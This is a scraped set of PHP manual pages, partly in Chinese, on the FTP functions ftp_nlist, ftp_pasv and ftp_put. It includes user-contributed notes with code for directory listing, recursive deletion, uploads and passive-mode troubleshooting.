Sometimes, you won't be able to get folder content because of NAT or Firewall issues on your server. As a result you need to put ftp connection into a passive mode:

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// enabling passive mode
ftp_pasv( $conn_id, true );

// get contents of the current directory
$contents = ftp_nlist($conn_id, ".");

// output $contents
var_dump($contents);

?>
sksafarath at impelsys dot com 23-Aug-2006 04:17
If we are giving second parameter as full directory  path then it wil return the list of files with full path, If we want to list only files you can do as following code
// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
//if u want to display the files from /home/test/
//change directory point to /home/test using
ftp_chdir($conn_id, "test");
//then pass second parameter as null which will give the list of files.
// get contents of the current directory
$contents = ftp_nlist($conn_id, "");

Note: This is working for me in PHP5
robtherat at gmx dot de 09-Aug-2006 06:00
The function from nekrostar at gmx dot net does not work for me, so I've tryed to do it my way. For checking if a found file is a directory or not I use the ftp_size function.

<?php
function ftplistdir($conn_id, $dir){
    $fold_no = array(".", "..", "cgi-data", "comp", "zuern", "counter");
    $list = ftp_nlist( $conn_id, $dir );
    foreach($list as $file){
        if (ftp_size($conn_id, $dir ."/".$file)== -1){
            if (in_array($file, $fold_no)) {
                print $file ." Ueberspringe ausgeschlossenes Verzeichnis.<br>";
            } else {
                $geslist[]= $dir ."/". $file;
                $temp=ftplistdir($conn_id, $dir ."/". $file);
                $geslist=array_merge($geslist, $temp);
            }
        }else{
            $geslist[]= $dir ."/". $file;
        }
    }
    return $geslist;
}
?>
I hope it's usefull for anyone
Robert
nekrostar at gmx dot net 02-Aug-2006 04:08
This function returns an array with the directory path and all files and subdirs which are in this

    function ftp_searchdir($conn_id, $dir)
    {
        if( !@ftp_is_dir( $conn_id, $dir ) ) {
            die( 'No such directory on the ftp-server' );
        }
        if( strrchr( $dir, '/' ) != '/' ) {
            $dir = $dir.'/';
        }
        $dirlist[0] = $dir;
        $list = ftp_nlist( $conn_id, $dir );
        foreach( $list as $path ) {
            $path = './'.$path;
            if( $path != $dir.'.' && $path != $dir.'..') {
                if( ftp_is_dir( $conn_id, $path ) ) {
                        $temp = ftp_searchdir( $conn_id, ($path), 1 );
                        $dirlist = array_merge( $dirlist, $temp );
                } else {
                    $dirlist[] = $path;
                }
            }

        }
        ftp_chdir( $conn_id, '/../' );

        return $dirlist;

    }
----------------------------------------------------------------------
    //Looks if a directory ($dir) is isset
    //returns true or false

    function ftp_is_dir( $conn_id,  $dir )
    {
        if( @ftp_chdir( $conn_id, $dir ) ) {
            ftp_chdir( $conn_id, '/../' );
            return true;
        } else {
            return false;
        }
    }
mail at martinauer dot net 14-May-2006 10:27
Beware:
The array will contain complete paths, not just filenames. At least in PHP 4.3.11 when I tried

ftp_nlist("www.example.com/docs/some/thing")

it dumped something like this:

  [0]=>
  string(41) "www.example.com/docs/some/thing/file1.htm"
  [1]=>
  string(41) "www.example.com/docs/some/thing/file2.htm"
  [2]=>
  string(41) "www.example.com/docs/some/thing/file3.htm"
  [3]=>
  string(41) "www.example.com/docs/some/thing/file4.htm"
  [4]=>
  string(41) "www.example.com/docs/some/thing/file5.htm"
franck569 at free dot fr 24-Feb-2006 10:32
better version of turigeza on yahoo com ftp_rmdirr() function.

This return true or false if the path will be removed :

function ftp_rmdirr($handle, $path)
{
    if(!@ftp_delete($handle, $path))
    {
        $list = @ftp_nlist($handle, $path);
        if(!empty($list))
            foreach($list as $value)
                ftp_rmdirr($handle, $value);
    }

    if(@ftp_rmdir($handle, $path))
        return true;
    else
        return false;
}
turigeza on yahoo com 07-Nov-2005 07:10
Recursive directory delete using ftp_nlist() ...
<?php
function ftp_rmdirr($path, $handle)
    {
    if (!(@ftp_rmdir($handle, $path) || @ftp_delete($handle, $path)))
        {
        $list = ftp_nlist($handle, $path);
        if (!empty($list))
            foreach($list as $value)
                ftp_rmdirr($value, $handle);
        }
    @ftp_rmdir($handle, $path);
    }
?>
It would be very useful if it was built into php. After all most of the time we want to remove non empty directories too. I bet everyone out there dealing with the file system had faced this problem.
dreamsavior at gmail dot com 29-Jun-2005 09:19
Here is the function that would checking whether the given path is directory or not, using ftp_nlist;

<?php
function is_ftp_dir($itempath, $ftp_server, $ftp_user_name='anonymous', $ftp_user_pass='') {
    if (empty($ftp_user_name)) {
        $ftp_user_name = "anonymous";
    }
    if ($itempath[0]!=="/") {
        $itempath = "/".$itempath;
    }

    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

    $contents = ftp_nlist($conn_id, "$itempath");

    if (!empty($contents[0])) {
        $check = str_replace($itempath, "", $contents[0]);
        if (!empty($check)) {
            return true;
        }
    }
    ftp_close($conn_id);
}

// example :
    if (is_ftp_dir("/pub/ftp/unknownitem", "ftp.nowhere", 'username', 'verysecret'')) {
        // do something related to directory handling action
    } else {
        // The target item is a file ...
    }

?>
ds at over dot hu 18-Dec-2004 08:43
Another file filecollect script, with static.

<?php

function filecollect($conn_id,$dir='.') {
  static $flist=array();
  if ($files = ftp_nlist($cid,$dir)){
    foreach ($files as $file) {
      if (ftp_size($cid, $file) == "-1"){
        filecollect($cid,$file);
      } else $flist[] = $file;
    }
  }
  return $flist;
}

$conn_id = ftp_connect('ftp.nowhere.com') or die("Couldn't connect to server");
  if (@ftp_login($conn_id, 'anonymous', 'pass@nowhere.com')){
    $filelist = filecollect($conn_id);
    echo "<pre>";
      print_r($filelist);
    echo "</pre>";
  }

?>
webmaster at torbox dot info 26-Sep-2004 09:16
To use custom LIST - flags, for example
LIST -aF ../*/
(listing protected pub dirs)
You can use
<?php
$list = ftp_nlist($ftp, "-aF ../*/");
?>
Took me a while to clever that one out :-)
micksam7 at neodecoder dot com 29-Feb-2004 02:40
A little correction to king_killa at juggalos4life dot com's note, it isn't ftp_res, it's ftp_size.

By the way, here is a complete function that will get all the files on a server, then write them to a array.

<?php
$ftp1 = ftp_connect('ftp.nowhere1230404.foo') or die("Couldn't connect to server");
ftp_login($ftp1,'foo','bar');
ftp_pasv($ftp1, TRUE); //Passive Mode is better for this

//Get them file!
echo "Collecting Files on Neodecoder<br>";
//Set defaults just in case. PHP complains anyway if we don't.
$dir = "";

function filecollect($dir,$filelist) {
global $ftp1; //Get our ftp
$files = ftp_nlist($ftp1,$dir); //get files in directory
foreach ($files as $file) {
 $isfile = ftp_size($ftp1, $file);
 if($isfile == "-1") { //Is a file or directory?
  $filelist = filecollect($dir.'/'.$file,$filelist,$num); //If a folder, do a filecollect on it
 }
 else {
  $filelist[(count($filelist)+1)] = $file; //If not, add it as a file to the file list
 }
}
return $filelist;
}

$filelist = filecollect($dir,$filelist);

echo "<pre>";
print_r($filelist);
echo "</pre>";
?>

This is really handy if your trying to transfer all the files from a ftp server to another server. Which, is why I made the script in the first place. heh..
tobrien at florahill dot vic dot edu dot au 13-Oct-2003 08:27
ftp_nlist() or ftp_rawlist() takes ages then returns nothing...

If you are having this issue, you may need to enable PASV mode FTP transfers using the ftp_pasv() function.

Example...

<?php
$ftp_host = "yourFTPHost";
$ftp_user = "yourUsername";
$ftp_password = "yourPassword";

//Connect
echo "<br />Connecting to $ftp_host via FTP...";
$conn = ftp_connect($ftp_host);
$login = ftp_login($conn, $ftp_user, $ftp_password);

//
//Enable PASV ( Note: must be done after ftp_login() )
//
$mode = ftp_pasv($conn, TRUE);

//Login OK ?
if ((!$conn) || (!$login) || (!$mode)) {
   die("FTP connection has failed !");
}
echo "<br />Login Ok.<br />";

//
//Now run ftp_nlist()
//
$file_list = ftp_nlist($conn, "");
foreach ($file_list as $file)
{
  echo "<br>$file";
}

//close
ftp_close($conn);

?>
aRc 14-Jul-2003 12:46
in windows, ftp_nlist will die on a directory with a space in it's name.  to get around this, use ftp_chdir:

//change directory
ftp_chdir($conn, "directory with spaces");
//then blindly list
$contents = ftp_nlist($conn, "");
neodeus at allesamarsch dot com 03-Jun-2003 10:10
This is an Example tp read out a Complete FTP Server ( beginn at your root dir )
    function files($dir)
    {
        /*
        if(!isset($dir) || empty($dir))
        {
            $dir=ftp_pwd($this->conn_id);
        }
        */
        unset($list);
        unset($files);
        unset($folders);
        unset($folder);
        unset($file);
        @ftp_chdir($this->conn_id, $dir);
        $dir = ftp_pwd($this->conn_id);
        $list=Array();
        $list=ftp_nlist($this->conn_id, "$dir");
        $files = Array();
        $folders = Array();
        for($i = 0; $i != sizeof($list); $i++)
        {
            $entry = str_replace("//", "", $list[$i]);
            if(@ftp_chdir($this->conn_id, $entry))
            {
                $folders[] = $entry;
                ftp_chdir($this->conn_id, $dir);
            }
            else
            {
                $files[] = $entry;
            }
        }
        print "\t<b> Dateien in ".$dir." :</b><br><br>";
        foreach($files as $file)
        {
            print $file."<br>";
        }
        print "\t<b>Ordner in ".$dir." :</b> <br><br>";
        foreach ($folders as $folder)
        {
            print "\t".$folder."<br>";
            ftp_chdir($this->conn_id, $dir);
            $this->files($folder);
        }
    }
louis at ewens dot com 29-Apr-2003 04:03
If you do a wildcard or other search for a particular file and the file doesn't exist, Solaris FTP servers send back "search*.xml: No such file or directory" as a single element in the response array. This makes it hard to check for the presence of a file.

One possible work-around is to parse your own raw directory listing. Or you could check for the error verbatim. But different servers could return different values. A simpler way to compensate is to use the ftp_size command to validate the returned file:

if ( ($filelist = ftp_nlist( $this->conn_id, $filesearch )) === FALSE )
{
       Error( "Could not get file list" );
       return FALSE;
}
// File actually exists? Catches invalid FTP server list responses
if ( !count($filelist) || ftp_size( $this->conn_id, $filelist[0] ) == -1 )
{
       Error( "No valid files" );
       return FALSE;
}
// File is really there, fetch it or whatever else you want to do
rfr at ajato dot com dot br 12-Feb-2003 08:25
There are some FTP servers that just dont accept the ftp_nlist command, they return a bool variable. but I think all of them accept the LIST command which is the ftp_rawlist command. So yu have to parse rawlist to nlist. I found a code here posted by "fredrik" but it shows a bug if the files at the ftp server have spaces oon theeir name... so here its a better function:
function rawlist_2_nlist($list)
{
    $newlist = array();
    reset($list);
    while (list(,$row) = each($list))
    {
        $buf="";
        if ($row[0]=='d'||$row[0]=='-'){
        $buf = substr($row,55);
        $newlist[]=$buf;
        }
    }

return $newlist;
}
ryan at wonko dot com 20-Mar-2002 07:31
A note to developers using PHP on Windows servers: as of PHP 4.1.2, ftp_nlist() is broken in the Windows build of PHP. It will return nothing at all, even if the same code works fine on UNIX. So if you're going crazy trying to figure out why the function isn't returning anything, stop wasting your time, you're not doing anything wrong. Hopefully this will get fixed in future versions, although it's apparently been an issue since at least 4.0.6.

More info on this bug is at http://bugs.php.net/bug.php?id=16057
markw at altexa dot com 13-Nov-2000 12:33
You can do a wildcard file listing with ftp_nlist, as in:

$list=ftp_nlist($conn_id, "$dir/*.txt");


返回当前 FTP 被动模式是否打开

  • ? ftp_nlist
  • ftp_put ?
  • PHP Manual
  • FTP 函数
  • 返回当前 FTP 被动模式是否打开

ftp_pasv

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_pasv — 返回当前 FTP 被动模式是否打开

说明

ftp_pasv(FTP\Connection $ftp, bool $enable): bool

在被动模式打开的情况下，数据的传送由客户机启动，而不是由服务器开始。

请注意 ftp_pasv() 只能在 FTP 登录成功后方可调用，否则会失败。

参数

ftp

FTP\Connection 实例。

enable

如果参数 pasv 为 true，打开被动模式传输（PASV MODE），否则则关闭被动传输模式。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_pasv() 示例

<?php
$file = 'somefile.txt';
$remote_file = 'readme.txt';

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// turn passive mode on
ftp_pasv($ftp, true);

// upload a file
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
echo "successfully uploaded $file\n";
} else {
echo "There was a problem while uploading $file\n";
}

// close the connection
ftp_close($ftp);
?>

User Contributed Notes

rrehbein at officesupply dot com 26-Oct-2018 01:59
For some FTP servers, it seems the sequence of passive and other commands matters more than for other FTP servers. Sorry, I don't know what vendor or version specifically.

<?php
ftp_pasv($handle, true);
echo "System type: ".ftp_systype($handle).PHP_EOL;
ftp_fput($handle, 'example.txt', $stream, FTP_BINARY);
?>

> PHP Warning: ftp_fput(): STOR out of sequence.

<?php
echo "System type: ".ftp_systype($handle).PHP_EOL;
ftp_pasv($handle, true);
ftp_fput($handle, 'example.txt', $stream, FTP_BINARY);
?>

> no issue
carda at two-wings dot net 30-Jul-2014 08:16
It should be noted that ftp_pasv has to be called AFTER ftp_login (not after ftp_connect). May seem obvious to many but it took me three hours to find out...
sameg14 at gmail dot com 07-May-2014 11:06
If you are running filezilla in passive mode, on windows, and try to connect using PHP, you might encounter an error that reads "425 Can't open data connection for transfer of ..."
This error is not indicative of a passive mode issue, but can be resolved by using
<?php
ftp_pasv($conn, true);
?>
marc at gutt dot it 20-Feb-2013 09:32
If you are still having problems after choosing ftp_pasv() you should refresh the connection through ftp_close() / ftp_connect() after x files and/or y GB have been transfered.

It solved several (random) occurring problems like:

ftp_get(): Opening BINARY mode data connection

ftp_get(): Entering Passive Mode

Hint: fopen() created a file so don't forget to delete it if an error occurred ;)
mac at codegreene dot com 09-Jul-2010 03:20
I found one place that required passive mode to function properly, but the initial error manifested itself in an odd way:

PHP Warning:  ftp_put(): TYPE is now ASCII in <file.php> on line <#>

or

PHP Warning:  ftp_put(): TYPE is now 8 BIT BINARY in <file.php> on line <#>

The other symptom is that it was taking a long time, perhaps the 90 seconds that the timeout was set to. No errors occurred upon connect, just when I tried ftp_put().

Once I turned on ftp_pasv() it worked, both in the place where active mode worked, and on the server where active mode wouldn't work.
Anonymous 04-Sep-2009 10:45
If you find that you are receiving "Illegal PORT command" errors you may want to try enabling passive mode.
ybourbeau at edison dot ca 08-Apr-2002 03:28
Directly from bsd FTP manual pages:

The PASV command requests that the remote server open a port for the data connection and return the address of that port.  The remote server listens on that port and the client connects to it.

                 When using the more traditional PORT command, the client listens on a port and sends that address to the remote server, who connects back to it.  Passive mode is useful when using ftp through a gateway router or host that controls the directionality of traffic.  (Note that though ftp servers are required to support the PASV command by RFC 1123, some do not.)
03-Apr-2002 04:19
PASV: For ftp users behind firewall, the server LISTEN for a connection.

Non-PASV: The client LISTEN for a connection from server.


上传文件到 FTP 服务器

  • ? ftp_pasv
  • ftp_pwd ?
  • PHP Manual
  • FTP 函数
  • 上传文件到 FTP 服务器

ftp_put

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_put — 上传文件到 FTP 服务器

说明

ftp_put(
FTP\Connection $ftp,
string $remote_filename,
string $local_filename,
int $mode = FTP_BINARY,
int $offset = 0
): bool

ftp_put() 函数用来上传指定的本地文件到 FTP 服务器。

参数

ftp

FTP\Connection 实例。

remote_filename

远程文件路径。

local_filename

本地文件路径。

mode

传送模式，只能为 FTP_ASCII（文本模式）或 FTP_BINARY（二进制模式）。

offset

指定开始上传的位置，一般用来文件续传。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。
7.3.0 | mode 参数为可选，之前版本中为必选。

示例

Example #1 ftp_put() 实例

<?php
$file = 'somefile.txt';
$remote_file = 'readme.txt';

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// upload a file
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
echo "successfully uploaded $file\n";
} else {
echo "There was a problem while uploading $file\n";
}

// close the connection
ftp_close($ftp);
?>

参见

  • ftp_pasv() - 返回当前 FTP 被动模式是否打开
  • ftp_fput() - 上传已打开的文件到 FTP 服务器
  • ftp_nb_fput() - 将文件存储到 FTP 服务器 （非阻塞）
  • ftp_nb_put() - 存储一个文件至 FTP 服务器（non-blocking）

User Contributed Notes

jan at odvarko dot cz 26-Feb-2021 09:42
Yet another recursive ftp_put.

* The parameters are similar to that of ftp_put, so if you need to copy a directory, just use ftp_put_dir(...) instead of ftp_put(...).
* Another advantage is that the remote directory doesn't need to exist.
* Returns TRUE on success, FALSE on failure.
* Inspired by lucas at rufy dot com and webmaster at sweetphp dot com.

<?php

function ftp_put_dir($ftp, $remote_dirname, $local_dirname, $mode=FTP_BINARY) {
    $success = true;

    // If necessary, create the remote directory.
    if (!ftp_nlist($ftp, $remote_dirname)) {
        if (ftp_mkdir($ftp, $remote_dirname) === false) {
            $success = false;
        }
    }

    $dir = dir($local_dirname);
    while ($f = $dir->read()) {
        if ($f === '.' || $f === '..') {
            continue;
        }
        $lf = $local_dirname . '/' . $f;
        $rf = $remote_dirname . '/' . $f;

        if (is_dir($lf)) {
            if (!ftp_put_dir($ftp, $rf, $lf, $mode)) {
                $success = false;
            }
        } else {
            if (!ftp_put($ftp, $rf, $lf, $mode)) {
                $success = false;
            }
        }
    }
    $dir->close();

    return $success;
}

?>
darleys at darleys dot org 23-Mar-2017 05:49
-----FTP PUT contents (php 7.0) ---
$tmpFile = tmpfile();
fwrite($tmpFile, $contents);
rewind($tmpFile);
$tmpMetaData = stream_get_meta_data($tmpFile);

if (ftp_put($ftpObj, $remoteFile, $tmpMetaData['uri'], FTP_ASCII)) {
      echo "success";
}else {
       echo "fail"
}
fclose($tmpFile);
jaxx1rr@g 06-Oct-2016 02:21
please add ftp_pasv($conn_id, true); to the first example (after ftp_login), can't you see so many users are having problems without it ?
fabiogoncalves at live dot co dot uk 14-Feb-2015 12:14
I was trying to upload WAV files using FTP_ASCII and the file was full of noise after uploading.

So for WAV files use FTP_BINARY.

Hope it helps.
donjajo at 2netlodge dot com 15-Sep-2013 09:08
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312" />
<title>Simple FTP Upload Script using PHP by 2netlodge</title>
</head>

<body>
<?php
if(isset($_POST['ftp']))
     {
        $ftp = $_POST['ftp'];
        $username = $_POST['username'];
        $pwd = $_POST['pwd'];
        $filename = $_FILES['file']['name'];
        $tmp = $_FILES['file']['tmp_name'];
        $d = $_POST['des'];

        $connect = ftp_connect($ftp)or die("Unable to connect to host");
        ftp_login($connect,$username,$pwd)or die("Authorization Failed");
        echo "Connected!<br/>";

        if(!$filename)
            {
                echo"Please select a file";
            }
        else
            {
                ftp_put($connect,$d.'/'.$filename,$tmp,FTP_ASCII)or die("Unable to upload");
                        echo"File successfully uploaded to FTP";
            }
    }

?>
<form action="" method="post" enctype="multipart/form-data">
<input type="text" name="ftp" placeholder="FTP link"/><br/>
<input type="text" name="username" placeholder="Username"/><br/>
<input type="password" name="pwd" placeholder="Password"/><br/>
<input type="file" name="file" /><br/>
<input type="text" name="des" placeholder="Destination"  /><br/>
<br/><input type="submit" value="Upload"/></form>

</body>
</html>
Anonymous 24-Aug-2012 12:59
If you are getting the very helpful warnings...
"Opening BINARY mode data connection" or
"Opening ASCII mode data connection"

... and have tried ftp_pasv, ftp_alloc, switching between FTP_ASCII or FTP_BINARY and blaming the FTP provider (like I did), try using ftp_close then ftp_connect to reset your FTP connection. Worked for me!
Anonymous 13-Mar-2012 10:28
Hi !

If you get this error when trying to send data to server :
Warning: ftp_put() [function.ftp-put]: Unable to build data connection: Connection timed out...

Two solutions :
 - Add the program httpd.exe in your exception list for external connexions of your firewall. Indeed, the FTP protocol open a new socket for data transfer. And this socket is opened from the server to the client (your computer). This program is located (for WAMP) in C:\wamp\bin\apache\Apache[version]\bin\
 - Use the ftp_pasv() function to activate the passive mode. In this mode, it is the client who open the new socket to the server.
lourspolair at banquiz dot net 07-Jun-2010 03:05
Hi,

I try to upload one text file represente CSV with tab separator thru FTP connection.

i'm using :
ftp_put($connect_id, $fileFullName, $localFile, FTP_ASCII);

everything goes fine, but txt file in destination server get white line between dataline...

i try :
ftp_put($connect_id, $fileFullName, $localFile, FTP_BINARY);
and everything goes fine.

so, lets do it in binary mode.
lousrpolair at banquiz dot net 07-Jun-2010 03:05
Hi,

I try to upload one text file represente CSV with tab separator thru FTP connection.

i'm using :
ftp_put($connect_id, $fileFullName, $localFile, FTP_ASCII);

everything goes fine, but txt file in destination server get white line between dataline...

i try :
ftp_put($connect_id, $fileFullName, $localFile, FTP_BINARY);
and everything goes fine.

so, lets do it in binary mode.
JDD 12-Mar-2010 06:22
In case you aren't aware...  Some web hosting services do NOT allow outbound ftp unless you have a dedicated server account.  A "shared" hosting account often doesn't have this capability.

So if you can't get your ftp, curl, or ssh remote file transfer functions to work, check with the host service and ask.  You may have to upgrade your account.
Svinto 01-Mar-2010 04:58
I [had an error for which] ftp_pasv didnt solve the problem. Here's why:

FTP uses 2 connections on different ports, one for connection/handshake and another for data transfer.
The problem was that the ftp-server (that php was connecting to) also used different IP-addresses for the different connections (say what!?).
Normally the firewall (csf) detects ftp-connections and allows them through but because of the different IP-adresses this didn't work.

Solution:
1 angry mail to the ftp server owner.
Allowing the second IP in the firewall.
bintjes at gmail dot com 02-Jul-2009 01:51
I've seen two notes about a "ftp_copy" function but i think   there's a misinterpretation about what an "ftp_copy" function should do. For me , it should be something like an ftp_rename that would keep the orginal file and clone it somewhere else on the same ftp server, as for them they consider its purpose is to copy a local file to a distant ftp ..well .. as in FTP protocol there's no such thing as an FTP COPY  command anyway, i think you're free to interpret it as you want.
So here's my solution using ftp_put and ftp_get ..

<?php
// bool ftp_copy  ( resource $ftp_stream  , string $initialpath, string $newpath, string $imagename )
function ftp_copy($conn_distant , $pathftp , $pathftpimg ,$img){
        // on recupere l'image puis on la repose dans le nouveau folder
        if(ftp_get($conn_distant, TEMPFOLDER.$img, $pathftp.'/'.$img ,FTP_BINARY)){
                if(ftp_put($conn_distant, $pathftpimg.'/'.$img ,TEMPFOLDER.$img , FTP_BINARY)){
                        unlink(TEMPFOLDER.$img) ;
                } else{
                        return false;
                }

        }else{
                return false ;
        }
        return true ;
}
?>
Anonymous 26-Apr-2009 07:51
If when using ftp_put you get the one of the following errors:

Warning: ftp_put() [function.ftp-put]: Opening ASCII mode data connection

Warning: ftp_put() [function.ftp-put]: Opening BINARY mode data connection

and it creates the file in the correct location but is a 0kb file and all FTP commands thereafter fail. It is likely that the client is behind a firewall. To rectify this use:

<?php
ftp_pasv($resource, true);
?>

Before executing any put commands. Took me so long to figure this out I actually cheered when I did :D
Kev 31-Mar-2009 08:36
Got this cryptic error

Warning:  ftp_put() [function.ftp-put]: 'STOR' not understood in
C:\wamp\www\kevtest\ftp_todays.php on line 48

Found the prob, you can't put a path to the destination file
(even though I can do that in the dos ftp client...?)

e.g. - this doesn't work
ftp_put($conn, '/www/site/file.html','c:/wamp/www/site/file.html',FTP_BINARY);

you have to put

<?php
ftp_chdir($conn, '/www/site/');
ftp_put($conn,'file.html', 'c:/wamp/www/site/file.html', FTP_BINARY );
?>
emailfire at gmail dot com 20-May-2008 03:45
Took me forever to work out but this will work if you get the paths right!

<?php
function ftp_copy($file) {
global $conn_id;
$ftp_root = '/public_html/';
$site_root = '/home/usr/public_html/';
return ftp_put($conn_id, $ftp_root . $file, $site_root . $file, FTP_BINARY);
}
?>

Login to your site using an FTP client to retrieve the $ftp_root

Use something like getcwd() to get the $site root
florian dot ember at gmail dot com 17-May-2008 08:08
Currently, there is no function that lets you specifiy the file's contents as a string. However, there is ftp_fput(), which operates on an open file. Using this function in conjunction with tmpfile() lets you emulate this kind of function. (You could also use php://memory, but this breaks BC).

<?php
function ftp_fputs($ftp_stream, $remote_file, $contents, $mode, $startpos = 0)
{
    $tmp = tmpfile();
    fwrite($tmp, $contents);
    rewind($tmp);
    $result = ftp_fput($ftp_stream, $remote_file, $tmp, $mode, $startpos);
    fclose($tmp);
    return $result;
}
?>
Aditya P Bhatt (adityabhai at gmail dot com) 26-Mar-2008 03:18
Here is the Code I am using for the same function with more flexibility in static code:
<?
$name = "FILE NAME";
$filename = "FILE NAME WITH FULL PATH";

//-- Code to Transfer File on Server Dt: 06-03-2008 by Aditya Bhatt --//
//-- Connection Settings
$ftp_server = "IP ADDRESS"; // Address of FTP server.
$ftp_user_name = " SERVER USERNAME"; // Username
$ftp_user_pass = " SERVER PASSWORD"; // Password
$destination_file = " SERVER FILE PATH TO UPLOAD VIA FTP_PUT"; //where you want to throw the file on the webserver (relative to your login dir)

$conn_id = ftp_connect($ftp_server) or die("<span style='color:#FF0000'><h2>Couldn't connect to $ftp_server</h2></span>");        // set up basic connection

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<span style='color:#FF0000'><h2>You do not have access to this ftp server!</h2></span>");   // login with username and password, or give invalid user message

if ((!$conn_id) || (!$login_result)) {  // check connection
    // wont ever hit this, b/c of the die call on ftp_login
    echo "<span style='color:#FF0000'><h2>FTP connection has failed! <br />";
    echo "Attempted to connect to $ftp_server for user $ftp_user_name</h2></span>";
    exit;
} else {
    //echo "Connected to $ftp_server, for user $ftp_user_name <br />";
}

$upload = ftp_put($conn_id, $destination_file.$name, $filename, FTP_BINARY);  // upload the file
if (!$upload) {  // check upload status
    echo "<span style='color:#FF0000'><h2>FTP upload of $filename has failed!</h2></span> <br />";
} else {
    echo "<span style='color:#339900'><h2>Uploading $name Completed Successfully!</h2></span><br /><br />";
}
ftp_close($conn_id); // close the FTP stream
?>
dherran at gmail dot com 17-Dec-2007 12:01
If you are moving files from one folder to another inside the same server, the "local file" field has to be indicated in a relative path according to the location of the script running the ftp_put() function.

For example, your function is running on: /public_html/do_ftp.php and you want to move /public_html/products.php to /public_html/backup/products.php

The correct way to build the function would be:

ftp_put($ftp_id, '/public_html/backup/products.php', 'products.php', FTP_ASCII);

After having headaches for 2 days trying to make this function work using absolute paths in both fields, I finally found the right way to use it. I hope it helps someone. Excuse my english, it isn't my native language.
Ari 16-Jul-2007 11:30
I'm copying fairly large backup files from server to server. ftp_put was running fine for awhile until it occasionally began reporting errors.
When I set TRUE as the value for the ftp_pasv () (after login), ftp_put started working again.
todd 11-May-2007 11:26
This is an extremely trivial thing but one that had me stumped forever (well, until I decided to check the error logs and see the error). I had a large file (mysql backup of a huge forum) that was only partially being uploaded to a remote backup server. Couldn't figure out why, until I realized that the max execution time was being hit since it was taking longer than 30 seconds to upload this file.

<?php
set_time_limit(0);
rest of the code here....
?>

That did the trick. It's one of those dumb, trivial things, and if you're having trouble like I, it may be something you overlooked.
koen dot depoorter at gmail dot com 11-Feb-2007 04:24
If you are having timeouts uploading a file, even very small files, you might have a look at ftp_pasv()

And don't forget to do it after your ftp_login();

koen
tom pittlik 20-Dec-2005 02:25
ftp_put() can display confusing warning messages as it returns one line of the remote server's response which may be multi lined.

If you're transferring large amounts of files note that some file systems only support up to 2000 files per directory. This had me stumped for a while.
ben at over dot bomb 25-Aug-2005 05:28
I spent some time debugging a silly problem:

In php >= 5, ftp_put() will apparently rewind to the start of the file regardless of the state you left it in before sending it to the $host.

I found this out because I wasn't closing the file handle before using ftp_put(). Since I had just written to the file, the file pointer must have been located at the *bottom*.

I was sending a 0-byte file on php 4.2.2., but worked fine on php 5.

So, just a heads up, don't forget to close those filehandles. Even though I was using the filename as the argument for ftp_put, it still needs to be closed.

I did not call rewind on the file handle, just fclose($file_h).
Icy_Tiger_2000 at yahoo dot com dot au 16-Jul-2005 01:35
I had a little trouble getting the ftp_put to work, because of that particular server.  All variables and data parsed from the previous web form had to be retreived using $_POST, $_GET or $_FILES.

If you don't know what you sent use phpinfo(); to display what the server thinks about your data.

so...when sending files using a form and PHP, make sure that all the data (text files etc...) are retreived with $_POST, and files (smiley.png, compression.zip, etc...) are retreived with $_FILES.

here's what your start of a results.php file might look like:
<?PHP
   $myName = $_POST['name']; //This will copy the text into a variable
   $myFile = $_FILES['file_name']; // This will make an array out of the file information that was stored.
?>

Now when it comes to transmitting that information...

<?PHP
        $destination_path = "src/bin/";

//where you want to throw the file on the webserver (relative to your login dir)

    $destination_file = $destination_path."img.jpg";

//This will create a full path with the file on the end for you to  use, I like splitting the variables like this in case I need to use on on their own or if I'm dynamically creating new folders.

        $file = $myFile['tmp_name'];

//Converts the array into a new string containing the path name on the server where your file is.

    $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);// upload the file
    if (!$upload) {// check upload status
        echo "FTP upload of $destination_file has failed!";
    } else {
        echo "Uploaded $file to $conn_id as $destination_file";
    }
?>

hope this is usefull ^_^
webmaster at sweetphp dot com 08-Jul-2005 05:54
Here is a fix for the function from lucas at rufy dot com below that will recursively put files from a source directory to a destination directory.  As written below, it won't put a file in a directory that already exists, because the the destination is altered.  So here is the corrected function that will allow it to work:

function ftp_putAll($conn_id, $src_dir, $dst_dir) {
   $d = dir($src_dir);
   while($file = $d->read()) { // do this for each file in the directory
       if ($file != "." && $file != "..") { // to prevent an infinite loop
           if (is_dir($src_dir."/".$file)) { // do the following if it is a directory
               if (!@ftp_nlist($conn_id, $dst_dir."/".$file)) {
                   ftp_mkdir($conn_id, $dst_dir."/".$file); // create directories that do not yet exist
               }
               ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); // recursive part
           } else {
               $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY); // put the files
           }
       }
   }
   $d->close();
}
jrisken at mn dot rr dot com 29-Jun-2005 06:32
This solution to a common problem is implied elsewhere, but I thought it might be useful to put it all in one place (since I spent hours piecing it together!)

